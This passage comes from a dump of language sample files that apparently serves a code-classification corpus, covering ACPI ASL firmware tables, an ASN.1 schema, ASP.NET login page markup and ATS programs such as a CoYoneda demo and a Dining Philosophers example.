size\n\t\t,\t23,\t//\n\t\tPXBR,\t10,\t// PCIe BAR\n\n\t\tOffset (0x68),\t// DMIBAR\n\t\tDMEN,\t 1,\t// Enable\n\t\t,\t11,\t//\n\t\tDMBR,\t24,\t// DMIBAR\n\n\t\tOffset (0x70),\t// ME Base Address\n\t\tMEBA,\t 64,\n\n\t\t// ...\n\n\t\tOffset (0x80),\t// PAM0\n\t\t,\t 4,\n\t\tPM0H,\t 2,\n\t\t,\t 2,\n\t\tOffset (0x81),\t// PAM1\n\t\tPM1L,\t 2,\n\t\t,\t 2,\n\t\tPM1H,\t 2,\n\t\t,\t 2,\n\t\tOffset (0x82),\t// PAM2\n\t\tPM2L,\t 2,\n\t\t,\t 2,\n\t\tPM2H,\t 2,\n\t\t,\t 2,\n\t\tOffset (0x83),\t// PAM3\n\t\tPM3L,\t 2,\n\t\t,\t 2,\n\t\tPM3H,\t 2,\n\t\t,\t 2,\n\t\tOffset (0x84),\t// PAM4\n\t\tPM4L,\t 2,\n\t\t,\t 2,\n\t\tPM4H,\t 2,\n\t\t,\t 2,\n\t\tOffset (0x85),\t// PAM5\n\t\tPM5L,\t 2,\n\t\t,\t 2,\n\t\tPM5H,\t 2,\n\t\t,\t 2,\n\t\tOffset (0x86),\t// PAM6\n\t\tPM6L,\t 2,\n\t\t,\t 2,\n\t\tPM6H,\t 2,\n\t\t,\t 2,\n\n\t\tOffset (0xa0),\t// Top of Used Memory\n\t\tTOM,\t 64,\n\n\t\tOffset (0xbc),\t// Top of Low Used Memory\n\t\tTLUD,\t 32,\n\t}\n\n\tMutex (CTCM, 1)\t\t/* CTDP Switch Mutex (sync level 1) */\n\tName (CTCC, 0)\t\t/* CTDP Current Selection */\n\tName (CTCN, 0)\t\t/* CTDP Nominal Select */\n\tName (CTCD, 1)\t\t/* CTDP Down Select */\n\tName (CTCU, 2)\t\t/* CTDP Up Select */\n\n\tOperationRegion (MCHB, SystemMemory, DEFAULT_MCHBAR, 0x8000)\n\tField (MCHB, DWordAcc, Lock, Preserve)\n\t{\n\t\tOffset (0x5930),\n\t\tCTDN, 15,\t/* CTDP Nominal PL1 */\n\t\tOffset (0x59a0),\n\t\tPL1V, 15,\t/* Power Limit 1 Value */\n\t\tPL1E, 1,\t/* Power Limit 1 Enable */\n\t\tPL1C, 1,\t/* Power Limit 1 Clamp */\n\t\tPL1T, 7,\t/* Power Limit 1 Time */\n\t\tOffset (0x59a4),\n\t\tPL2V, 15,\t/* Power Limit 2 Value */\n\t\tPL2E, 1,\t/* Power Limit 2 Enable */\n\t\tPL2C, 1,\t/* Power Limit 2 Clamp */\n\t\tPL2T, 7,\t/* Power Limit 2 Time */\n\t\tOffset (0x5f3c),\n\t\tTARN, 8,\t/* CTDP Nominal Turbo Activation Ratio */\n\t\tOffset (0x5f40),\n\t\tCTDD, 15,\t/* CTDP Down PL1 */\n\t\t, 1,\n\t\tTARD, 8,\t/* CTDP Down Turbo Activation Ratio */\n\t\tOffset (0x5f48),\n\t\tCTDU, 15,\t/* CTDP Up PL1 */\n\t\t, 1,\n\t\tTARU, 8,\t/* CTDP Up Turbo Activation Ratio */\n\t\tOffset (0x5f50),\n\t\tCTCS, 2,\t/* CTDP Select */\n\t\tOffset (0x5f54),\n\t\tTARS, 8,\t/* Turbo Activation Ratio Select */\n\t}\n\n\t/*\n\t * Search CPU0 _PSS looking for control=arg0 and then\n\t * return previous P-state entry number for new _PPC\n\t *\n\t * Format of _PSS:\n\t *   Name (_PSS, Package () {\n\t *     Package (6) { freq, power, tlat, blat, control, status }\n\t *   }\n\t */\n\tExternal (\\_PR.CP00._PSS)\n\tMethod (PSSS, 1, NotSerialized)\n\t{\n\t\tStore (One, Local0) /* Start at P1 */\n\t\tStore (SizeOf (\\_PR.CP00._PSS), Local1)\n\n\t\tWhile (LLess (Local0, Local1)) {\n\t\t\t/* Store _PSS entry Control value to Local2 */\n\t\t\tShiftRight (DeRefOf (Index (DeRefOf (Index\n\t\t\t      (\\_PR.CP00._PSS, Local0)), 4)), 8, Local2)\n\t\t\tIf (LEqual (Local2, Arg0)) {\n\t\t\t\tReturn (Subtract (Local0, 1))\n\t\t\t}\n\t\t\tIncrement (Local0)\n\t\t}\n\n\t\tReturn (0)\n\t}\n\n\t/* Set TDP Down */\n\tMethod (STND, 0, Serialized)\n\t{\n\t\tIf (Acquire (CTCM, 100)) {\n\t\t\tReturn (0)\n\t\t}\n\t\tIf (LEqual (CTCD, CTCC)) {\n\t\t\tRelease (CTCM)\n\t\t\tReturn (0)\n\t\t}\n\n\t\tStore (\"Set TDP Down\", Debug)\n\n\t\t/* Set CTC */\n\t\tStore (CTCD, CTCS)\n\n\t\t/* Set TAR */\n\t\tStore (TARD, TARS)\n\n\t\t/* Set PPC limit and notify OS */\n\t\tStore (PSSS (TARD), PPCM)\n\t\tPPCN ()\n\n\t\t/* Set PL2 to 1.25 * PL1 */\n\t\tDivide (Multiply (CTDD, 125), 100, , PL2V)\n\n\t\t/* Set PL1 */\n\t\tStore (CTDD, PL1V)\n\n\t\t/* Store the new TDP Down setting */\n\t\tStore (CTCD, CTCC)\n\n\t\tRelease (CTCM)\n\t\tReturn (1)\n\t}\n\n\t/* Set TDP Nominal from Down */\n\tMethod (STDN, 0, Serialized)\n\t{\n\t\tIf (Acquire (CTCM, 100)) {\n\t\t\tReturn (0)\n\t\t}\n\t\tIf (LEqual (CTCN, CTCC)) {\n\t\t\tRelease (CTCM)\n\t\t\tReturn (0)\n\t\t}\n\n\t\tStore (\"Set TDP Nominal\", Debug)\n\n\t\t/* Set PL1 */\n\t\tStore (CTDN, PL1V)\n\n\t\t/* Set PL2 to 1.25 * PL1 */\n\t\tDivide (Multiply (CTDN, 125), 100, , PL2V)\n\n\t\t/* Set PPC limit and notify OS */\n\t\tStore (PSSS (TARN), PPCM)\n\t\tPPCN ()\n\n\t\t/* Set TAR */\n\t\tStore (TARN, TARS)\n\n\t\t/* Set CTC */\n\t\tStore (CTCN, CTCS)\n\n\t\t/* Store the new TDP Nominal setting */\n\t\tStore (CTCN, CTCC)\n\n\t\tRelease (CTCM)\n\t\tReturn (1)\n\t}\n}\n\n// Current Resource Settings\nName (MCRS, ResourceTemplate()\n{\n\t// Bus Numbers\n\tWordBusNumber (ResourceProducer, MinFixed, MaxFixed, PosDecode,\n\t\t\t0x0000, 0x0000, 0x00ff, 0x0000, 0x0100,,, PB00)\n\n\t// IO Region 0\n\tDWordIO (ResourceProducer, MinFixed, MaxFixed, PosDecode, EntireRange,\n\t\t\t0x0000, 0x0000, 0x0cf7, 0x0000, 0x0cf8,,, PI00)\n\n\t// PCI Config Space\n\tIo (Decode16, 0x0cf8, 0x0cf8, 0x0001, 0x0008)\n\n\t// IO Region 1\n\tDWordIO (ResourceProducer, MinFixed, MaxFixed, PosDecode, EntireRange,\n\t\t\t0x0000, 0x0d00, 0xffff, 0x0000, 0xf300,,, PI01)\n\n\t// VGA memory (0xa0000-0xbffff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000a0000, 0x000bffff, 0x00000000,\n\t\t\t0x00020000,,, ASEG)\n\n\t// OPROM reserved (0xc0000-0xc3fff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000c0000, 0x000c3fff, 0x00000000,\n\t\t\t0x00004000,,, OPR0)\n\n\t// OPROM reserved (0xc4000-0xc7fff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000c4000, 0x000c7fff, 0x00000000,\n\t\t\t0x00004000,,, OPR1)\n\n\t// OPROM reserved (0xc8000-0xcbfff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000c8000, 0x000cbfff, 0x00000000,\n\t\t\t0x00004000,,, OPR2)\n\n\t// OPROM reserved (0xcc000-0xcffff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000cc000, 0x000cffff, 0x00000000,\n\t\t\t0x00004000,,, OPR3)\n\n\t// OPROM reserved (0xd0000-0xd3fff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000d0000, 0x000d3fff, 0x00000000,\n\t\t\t0x00004000,,, OPR4)\n\n\t// OPROM reserved (0xd4000-0xd7fff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000d4000, 0x000d7fff, 0x00000000,\n\t\t\t0x00004000,,, OPR5)\n\n\t// OPROM reserved (0xd8000-0xdbfff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000d8000, 0x000dbfff, 0x00000000,\n\t\t\t0x00004000,,, OPR6)\n\n\t// OPROM reserved (0xdc000-0xdffff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000dc000, 0x000dffff, 0x00000000,\n\t\t\t0x00004000,,, OPR7)\n\n\t// BIOS Extension (0xe0000-0xe3fff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000e0000, 0x000e3fff, 0x00000000,\n\t\t\t0x00004000,,, ESG0)\n\n\t// BIOS Extension (0xe4000-0xe7fff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000e4000, 0x000e7fff, 0x00000000,\n\t\t\t0x00004000,,, ESG1)\n\n\t// BIOS Extension (0xe8000-0xebfff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000e8000, 0x000ebfff, 0x00000000,\n\t\t\t0x00004000,,, ESG2)\n\n\t// BIOS Extension (0xec000-0xeffff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000ec000, 0x000effff, 0x00000000,\n\t\t\t0x00004000,,, ESG3)\n\n\t// System BIOS (0xf0000-0xfffff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x000f0000, 0x000fffff, 0x00000000,\n\t\t\t0x00010000,,, FSEG)\n\n\t// PCI Memory Region (Top of memory-CONFIG_MMCONF_BASE_ADDRESS)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0x00000000, 0x00000000, 0x00000000,\n\t\t\t0x00000000,,, PM01)\n\n\t// TPM Area (0xfed40000-0xfed44fff)\n\tDWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,\n\t\t\tCacheable, ReadWrite,\n\t\t\t0x00000000, 0xfed40000, 0xfed44fff, 0x00000000,\n\t\t\t0x00005000,,, TPMR)\n})\n\nMethod (_CRS, 0, Serialized)\n{\n\t// Find PCI resource area in MCRS\n\tCreateDwordField(MCRS, ^PM01._MIN, PMIN)\n\tCreateDwordField(MCRS, ^PM01._MAX, PMAX)\n\tCreateDwordField(MCRS, ^PM01._LEN, PLEN)\n\n\t// Fix up PCI memory region\n\t// Start with Top of Lower Usable DRAM\n\tStore (^MCHC.TLUD, Local0)\n\tStore (^MCHC.MEBA, Local1)\n\n\t// Check if ME base is equal\n\tIf (LEqual (Local0, Local1)) {\n\t\t// Use Top Of Memory instead\n\t\tStore (^MCHC.TOM, Local0)\n\t}\n\n\tStore (Local0, PMIN)\n\tStore (Subtract(CONFIG_MMCONF_BASE_ADDRESS, 1), PMAX)\n\tAdd(Subtract(PMAX, PMIN), 1, PLEN)\n\n\tReturn (MCRS)\n}\n"
  },
  {
    "path": "samples/ASL/example.dsl",
    "content": "ACPI_EXTRACT_ALL_CODE ssdp_misc_aml\n\nDefinitionBlock (\"ssdt-misc.aml\", \"SSDT\", 0x01, \"BXPC\", \"BXSSDTSUSP\", 0x1)\n{\n\n/****************************************************************\n * PCI memory ranges\n ****************************************************************/\n\n    Scope(\\) {\n       ACPI_EXTRACT_NAME_DWORD_CONST acpi_pci32_start\n       Name(P0S, 0x12345678)\n       ACPI_EXTRACT_NAME_DWORD_CONST acpi_pci32_end\n       Name(P0E, 0x12345678)\n       ACPI_EXTRACT_NAME_BYTE_CONST acpi_pci64_valid\n       Name(P1V, 0x12)\n       ACPI_EXTRACT_NAME_BUFFER8 acpi_pci64_start\n       Name(P1S, Buffer() { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })\n       ACPI_EXTRACT_NAME_BUFFER8 acpi_pci64_end\n       Name(P1E, Buffer() { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })\n       ACPI_EXTRACT_NAME_BUFFER8 acpi_pci64_length\n       Name(P1L, Buffer() { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })\n    }\n\n\n/****************************************************************\n * Suspend\n ****************************************************************/\n\n    Scope(\\) {\n    /*\n     * S3 (suspend-to-ram), S4 (suspend-to-disk) and S5 (power-off) type codes:\n     * must match piix4 emulation.\n     */\n\n        ACPI_EXTRACT_NAME_STRING acpi_s3_name\n        Name(_S3, Package(0x04) {\n            One,  /* PM1a_CNT.SLP_TYP */\n            One,  /* PM1b_CNT.SLP_TYP */\n            Zero,  /* reserved */\n            Zero   /* reserved */\n        })\n        ACPI_EXTRACT_NAME_STRING acpi_s4_name\n        ACPI_EXTRACT_PKG_START acpi_s4_pkg\n        Name(_S4, Package(0x04) {\n            0x2,  /* PM1a_CNT.SLP_TYP */\n            0x2,  /* PM1b_CNT.SLP_TYP */\n            Zero,  /* reserved */\n            Zero   /* reserved */\n        })\n        Name(_S5, Package(0x04) {\n            Zero,  /* PM1a_CNT.SLP_TYP */\n            Zero,  /* PM1b_CNT.SLP_TYP */\n            Zero,  /* reserved */\n            Zero   /* reserved */\n        })\n    }\n\n    External(\\_SB.PCI0, DeviceObj)\n    External(\\_SB.PCI0.ISA, DeviceObj)\n\n    Scope(\\_SB.PCI0.ISA) {\n        Device(PEVT) {\n            Name(_HID, \"QEMU0001\")\n            /* PEST will be patched to be Zero if no such device */\n            ACPI_EXTRACT_NAME_WORD_CONST ssdt_isa_pest\n            Name(PEST, 0xFFFF)\n            OperationRegion(PEOR, SystemIO, PEST, 0x01)\n            Field(PEOR, ByteAcc, NoLock, Preserve) {\n                PEPT,   8,\n            }\n\n            Method(_STA, 0, NotSerialized) {\n                Store(PEST, Local0)\n                If (LEqual(Local0, Zero)) {\n                    Return (0x00)\n                } Else {\n                    Return (0x0F)\n                }\n            }\n\n            Method(RDPT, 0, NotSerialized) {\n                Store(PEPT, Local0)\n                Return (Local0)\n            }\n\n            Method(WRPT, 1, NotSerialized) {\n                Store(Arg0, PEPT)\n            }\n\n            Name(_CRS, ResourceTemplate() {\n                IO(Decode16, 0x00, 0x00, 0x01, 0x01, IO)\n            })\n\n            CreateWordField(_CRS, IO._MIN, IOMN)\n            CreateWordField(_CRS, IO._MAX, IOMX)\n\n            Method(_INI, 0, NotSerialized) {\n                Store(PEST, IOMN)\n                Store(PEST, IOMX)\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "samples/ASN.1/example.asn",
    "content": "MyShopPurchaseOrders DEFINITIONS AUTOMATIC TAGS ::= BEGIN\n\nPurchaseOrder ::= SEQUENCE {\ndateOfOrder\tDATE,\ncustomer   \tCustomerInfo,\nitems      \tListOfItems\n}\n\nCustomerInfo ::= SEQUENCE {\ncompanyName\t   VisibleString (SIZE (3..50)),\nbillingAddress\tAddress,\ncontactPhone   NumericString (SIZE (7..12))\n}\n\nAddress::= SEQUENCE {\nstreet\t VisibleString (SIZE (5 .. 50)) OPTIONAL,\ncity\t   VisibleString (SIZE (2..30)),\nstate\t  VisibleString (SIZE(2) ^ FROM (\"A\"..\"Z\")),\nzipCode\tNumericString (SIZE(5 | 9))\n}\n\nListOfItems ::= SEQUENCE (SIZE (1..100)) OF Item\n\nItem ::= SEQUENCE {\nitemCode\t       INTEGER (1..99999),\ncolor          \tVisibleString (\"Black\" | \"Blue\" | \"Brown\"),\npower          \tINTEGER (110 | 220),\ndeliveryTime   \tINTEGER (8..12 | 14..19),\nquantity\t       INTEGER (1..1000),\nunitPrice\t      REAL (1.00 .. 9999.00),\nisTaxable\t      BOOLEAN\n}\nEND\n"
  },
  {
    "path": "samples/ASP.NET/EchoSocket.ashx",
    "content": "﻿<%@ WebHandler Language=\"C#\" CodeBehind=\"EchoSocket.ashx.cs\" Class=\"AutobahnTestAppAspNet4.EchoSocket\" %>\n"
  },
  {
    "path": "samples/ASP.NET/Global.asax",
    "content": "﻿<%@ Application Codebehind=\"Global.asax.cs\" Inherits=\"SQLMembership_Identity_OWIN.Global\" Language=\"C#\" %>\n"
  },
  {
    "path": "samples/ASP.NET/Login.aspx",
    "content": "﻿<%@ Page Title=\"Log in\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Login.aspx.cs\" Inherits=\"PrimaryKeysConfigTest.Account.Login\" Async=\"true\" %>\n\n<%@ Register Src=\"~/Account/OpenAuthProviders.ascx\" TagPrefix=\"uc\" TagName=\"OpenAuthProviders\" %>\n\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\n    <h2><%: Title %>.</h2>\n\n    <div class=\"row\">\n        <div class=\"col-md-8\">\n            <section id=\"loginForm\">\n                <div class=\"form-horizontal\">\n                    <h4>Use a local account to log in.</h4>\n                    <hr />\n                      <asp:PlaceHolder runat=\"server\" ID=\"ErrorMessage\" Visible=\"false\">\n                        <p class=\"text-danger\">\n                            <asp:Literal runat=\"server\" ID=\"FailureText\" />\n                        </p>\n                    </asp:PlaceHolder>\n                    <div class=\"form-group\">\n                        <asp:Label runat=\"server\" AssociatedControlID=\"Email\" CssClass=\"col-md-2 control-label\">Email</asp:Label>\n                        <div class=\"col-md-10\">\n                            <asp:TextBox runat=\"server\" ID=\"Email\" CssClass=\"form-control\" TextMode=\"Email\" />\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Email\"\n                                CssClass=\"text-danger\" ErrorMessage=\"The email field is required.\" />\n                        </div>\n                    </div>\n                    <div class=\"form-group\">\n                        <asp:Label runat=\"server\" AssociatedControlID=\"Password\" CssClass=\"col-md-2 control-label\">Password</asp:Label>\n                        <div class=\"col-md-10\">\n                            <asp:TextBox runat=\"server\" ID=\"Password\" TextMode=\"Password\" CssClass=\"form-control\" />\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Password\" CssClass=\"text-danger\" ErrorMessage=\"The password field is required.\" />\n                        </div>\n                    </div>\n                    <div class=\"form-group\">\n                        <div class=\"col-md-offset-2 col-md-10\">\n                            <div class=\"checkbox\">\n                                <asp:CheckBox runat=\"server\" ID=\"RememberMe\" />\n                                <asp:Label runat=\"server\" AssociatedControlID=\"RememberMe\">Remember me?</asp:Label>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"form-group\">\n                        <div class=\"col-md-offset-2 col-md-10\">\n                            <asp:Button runat=\"server\" OnClick=\"LogIn\" Text=\"Log in\" CssClass=\"btn btn-default\" />\n                        </div>\n                    </div>\n                </div>\n                <p>\n                    <asp:HyperLink runat=\"server\" ID=\"RegisterHyperLink\" ViewStateMode=\"Disabled\">Register a new user?</asp:HyperLink>\n                </p>\n                <p>\n                    <asp:HyperLink runat=\"server\" ID=\"ForgotPasswordHyperLink\" ViewStateMode=\"Disabled\">Forgot your password?</asp:HyperLink>\n                    \n                </p>\n            </section>\n        </div>\n\n        <div class=\"col-md-4\">\n            <section id=\"socialLoginForm\">\n                <uc:OpenAuthProviders runat=\"server\" ID=\"OpenAuthLogin\" />\n            </section>\n        </div>\n    </div>\n</asp:Content>\n"
  },
  {
    "path": "samples/ASP.NET/OpenAuthProviders.ascx",
    "content": "﻿<%@ Control Language=\"C#\" AutoEventWireup=\"true\" CodeBehind=\"OpenAuthProviders.ascx.cs\" Inherits=\"PrimaryKeysConfigTest.Account.OpenAuthProviders\" %>\n\n<div id=\"socialLoginList\">\n    <h4>Use another service to log in.</h4>\n    <hr />\n    <asp:ListView runat=\"server\" ID=\"providerDetails\" ItemType=\"System.String\"\n        SelectMethod=\"GetProviderNames\" ViewStateMode=\"Disabled\">\n        <ItemTemplate>\n            <p>\n                <button type=\"submit\" class=\"btn btn-default\" name=\"provider\" value=\"<%#: Item %>\"\n                    title=\"Log in using your <%#: Item %> account.\">\n                    <%#: Item %>\n                </button>\n            </p>\n        </ItemTemplate>\n        <EmptyDataTemplate>\n            <div>\n                <p>There are no external authentication services configured. See <a href=\"http://go.microsoft.com/fwlink/?LinkId=252803\">this article</a> for details on setting up this ASP.NET application to support logging in via external services.</p>\n            </div>\n        </EmptyDataTemplate>\n    </asp:ListView>\n</div>\n"
  },
  {
    "path": "samples/ATS/CoYonedaLemma.dats",
    "content": "(* ****** ****** *)\n//\n// HX-2014-01\n// CoYoneda Lemma:\n//\n(* ****** ****** *)\n//\n#include\n\"share/atspre_staload.hats\"\n//\n(* ****** ****** *)\n\nstaload\n\"libats/ML/SATS/basis.sats\"\nstaload\n\"libats/ML/SATS/list0.sats\"\n\n(* ****** ****** *)\n\nstaload _ = \"libats/ML/DATS/list0.dats\"\n\n(* ****** ****** *)\n\nsortdef ftype = type -> type\n\n(* ****** ****** *)\n\ninfixr (->) ->>\ntypedef ->> (a:type, b:type) = a -<cloref1> b\n\n(* ****** ****** *)\n\ntypedef\nfunctor(F:ftype) =\n  {a,b:type} (a ->> b) ->> F(a) ->> F(b)\n\n(* ****** ****** *)\n\ntypedef\nlist0 (a:type) = list0 (a)\nextern\nval functor_list0 : functor (list0)\n\n(* ****** ****** *)\n\nimplement\nfunctor_list0{a,b}\n  (f) = lam xs => list0_map<a><b> (xs, f)\n\n(* ****** ****** *)\n\ndatatype\nCoYoneda\n (F:ftype, r:type) = {a:type} CoYoneda of (a ->> r, F(a))\n// end of [CoYoneda]\n\n(* ****** ****** *)\n//\nextern\nfun CoYoneda_phi\n  : {F:ftype}functor(F) -> {r:type} (F (r) ->> CoYoneda (F, r))\nextern\nfun CoYoneda_psi\n  : {F:ftype}functor(F) -> {r:type} (CoYoneda (F, r) ->> F (r))\n//\n(* ****** ****** *)\n\nimplement\nCoYoneda_phi(ftor) = lam (fx) => CoYoneda (lam x => x, fx)\nimplement\nCoYoneda_psi(ftor) = lam (CoYoneda(f, fx)) => ftor (f) (fx)\n\n(* ****** ****** *)\n\ndatatype int0 = I of (int)\ndatatype bool = True | False // boxed boolean\n\n(* ****** ****** *)\n//\nfun bool2string\n  (x:bool): string =\n(\n  case+ x of True() => \"True\" | False() => \"False\"\n)\n//\nimplement\nfprint_val<bool> (out, x) = fprint (out, bool2string(x))\n//\n(* ****** ****** *)\n\nfun int2bool (i: int0): bool =\n  let val+I(i) = i in if i > 0 then True else False end\n\n(* ****** ****** *)\n\nval myintlist0 = g0ofg1($list{int0}((I)1, (I)0, (I)1, (I)0, (I)0))\nval myboolist0 = CoYoneda{list0,bool}{int0}(lam (i) => int2bool(i), myintlist0)\nval myboolist0 = CoYoneda_psi{list0}(functor_list0){bool}(myboolist0)\n\n(* ****** ****** *)\n\nval ((*void*)) = fprintln! (stdout_ref, \"myboolist0 = \", myboolist0)\n\n(* ****** ****** *)\n\nimplement main0 () = ()\n\n(* ****** ****** *)\n\n(* end of [CoYonedaLemma.dats] *)\n"
  },
  {
    "path": "samples/ATS/DiningPhil2.dats",
    "content": "(* ****** ****** *)\n//\n// HX-2013-11\n//\n// Implementing a variant of\n// the problem of Dining Philosophers\n//\n(* ****** ****** *)\n//\n#include\n\"share/atspre_define.hats\"\n#include\n\"share/atspre_staload.hats\"\n//\n(* ****** ****** *)\n\nstaload\nUN = \"prelude/SATS/unsafe.sats\"\n\n(* ****** ****** *)\n\nstaload \"libc/SATS/stdlib.sats\"\nstaload \"libc/SATS/unistd.sats\"\n\n(* ****** ****** *)\n\nstaload \"{$LIBATSHWXI}/teaching/mythread/SATS/channel.sats\"\n\n(* ****** ****** *)\n\nstaload _ = \"libats/DATS/deqarray.dats\"\nstaload _ = \"{$LIBATSHWXI}/teaching/mythread/DATS/channel.dats\"\n\n(* ****** ****** *)\n\nstaload \"./DiningPhil2.sats\"\n\n(* ****** ****** *)\n\nimplement phil_left (n) = n\nimplement phil_right (n) = (n+1) \\nmod NPHIL\n\n(* ****** ****** *)\n//\nextern\nfun randsleep (n: intGte(1)): void\n//\nimplement\nrandsleep (n) =\n  ignoret (sleep($UN.cast{uInt}(rand() mod n + 1)))\n// end of [randsleep]\n//\n(* ****** ****** *)\n\nimplement\nphil_think (n) =\n{\nval () = println! (\"phil_think(\", n, \") starts\")\nval () = randsleep (6)\nval () = println! (\"phil_think(\", n, \") finishes\")\n}\n\n(* ****** ****** *)\n\nimplement\nphil_dine (n, lf, rf) =\n{\nval () = println! (\"phil_dine(\", n, \") starts\")\nval () = randsleep (3)\nval () = println! (\"phil_dine(\", n, \") finishes\")\n}\n\n(* ****** ****** *)\n\nimplement\nphil_loop (n) = let\n//\nval () = phil_think (n)\n//\nval nl = phil_left (n)\nval nr = phil_right (n)\n//\nval ch_lfork = fork_changet (nl)\nval ch_rfork = fork_changet (nr)\n//\nval lf = channel_takeout (ch_lfork)\nval () = println! (\"phil_loop(\", n, \") picks left fork\")\n//\nval () = randsleep (2) // HX: try to actively induce deadlock\n//\nval rf = channel_takeout (ch_rfork)\nval () = println! (\"phil_loop(\", n, \") picks right fork\")\n//\nval () = phil_dine (n, lf, rf)\n//\nval ch_forktray = forktray_changet ()\nval () = channel_insert (ch_forktray, lf)\nval () = channel_insert (ch_forktray, rf)\n//\nin\n  phil_loop (n)\nend // end of [phil_loop]\n\n(* ****** ****** *)\n\nimplement\ncleaner_wash (f) =\n{\nval f = fork_get_num (f)\nval () = println! (\"cleaner_wash(\", f, \") starts\")\nval () = randsleep (1)\nval () = println! (\"cleaner_wash(\", f, \") finishes\")\n}\n\n(* ****** ****** *)\n\nimplement\ncleaner_return (f) =\n{\n  val n = fork_get_num (f)\n  val ch = fork_changet (n)\n  val () = channel_insert (ch, f)\n}\n\n(* ****** ****** *)\n\nimplement\ncleaner_loop () = let\n//\nval ch = forktray_changet ()\nval f0 = channel_takeout (ch)\n//\nval () = cleaner_wash (f0)\nval () = cleaner_return (f0)\n//\nin\n  cleaner_loop ()\nend // end of [cleaner_loop]\n\n(* ****** ****** *)\n\ndynload \"DiningPhil2.sats\"\ndynload \"DiningPhil2_fork.dats\"\ndynload \"DiningPhil2_thread.dats\"\n\n(* ****** ****** *)\n\nlocal\n//\nstaload\n\"{$LIBATSHWXI}/teaching/mythread/SATS/mythread.sats\"\n//\nin (* in of [local] *)\n//\nval () = mythread_create_cloptr (llam () => phil_loop (0))\nval () = mythread_create_cloptr (llam () => phil_loop (1))\nval () = mythread_create_cloptr (llam () => phil_loop (2))\nval () = mythread_create_cloptr (llam () => phil_loop (3))\nval () = mythread_create_cloptr (llam () => phil_loop (4))\n//\nval () = mythread_create_cloptr (llam () => cleaner_loop ())\n//\nend // end of [local]\n\n(* ****** ****** *)\n\nimplement\nmain0 () =\n{\n//\nval () = println! (\"DiningPhil2: starting\")\nval ((*void*)) = while (true) ignoret (sleep(1))\n//\n} (* end of [main0] *)\n\n(* ****** ****** *)\n\n(* end of [DiningPhil2.dats] *)\n"
  },
  {
    "path": "samples/ATS/DiningPhil2.sats",
    "content": "(* ****** ****** *)\n//\n// HX-2013-11\n//\n// Implementing a variant of\n// the problem of Dining Philosophers\n//\n(* ****** ****** *)\n\n#include\n\"share/atspre_define.hats\"\n\n(* ****** ****** *)\n\nstaload \"{$LIBATSHWXI}/teaching/mythread/SATS/channel.sats\"\n\n(* ****** ****** *)\n\n%{#\n#define NPHIL 5\n%} // end of [%{#]\n#define NPHIL 5\n\n(* ****** ****** *)\n\ntypedef nphil = natLt(NPHIL)\n\n(* ****** ****** *)\n\nfun phil_left (n: nphil): nphil\nfun phil_right (n: nphil): nphil\n\n(* ****** ****** *)\n//\nfun phil_loop (n: nphil): void\n//\n(* ****** ****** *)\n\nfun cleaner_loop ((*void*)): void\n\n(* ****** ****** *)\n\nabsvtype fork_vtype = ptr\nvtypedef fork = fork_vtype\n\n(* ****** ****** *)\n\nfun fork_get_num (!fork): nphil\n\n(* ****** ****** *)\n\nfun phil_dine\n  (n: nphil, lf: !fork, rf: !fork): void\n// end of [phil_dine]\n\nfun phil_think (n: nphil): void\n\n(* ****** ****** *)\n\nfun cleaner_wash (f: !fork): void\nfun cleaner_return (f: fork): void\n\n(* ****** ****** *)\n//\nfun fork_changet (n: nphil): channel(fork)\n//\nfun forktray_changet ((*void*)): channel(fork)\n//\n(* ****** ****** *)\n\n(* end of [DiningPhil2.sats] *)\n"
  },
  {
    "path": "samples/ATS/DiningPhil2_fork.dats",
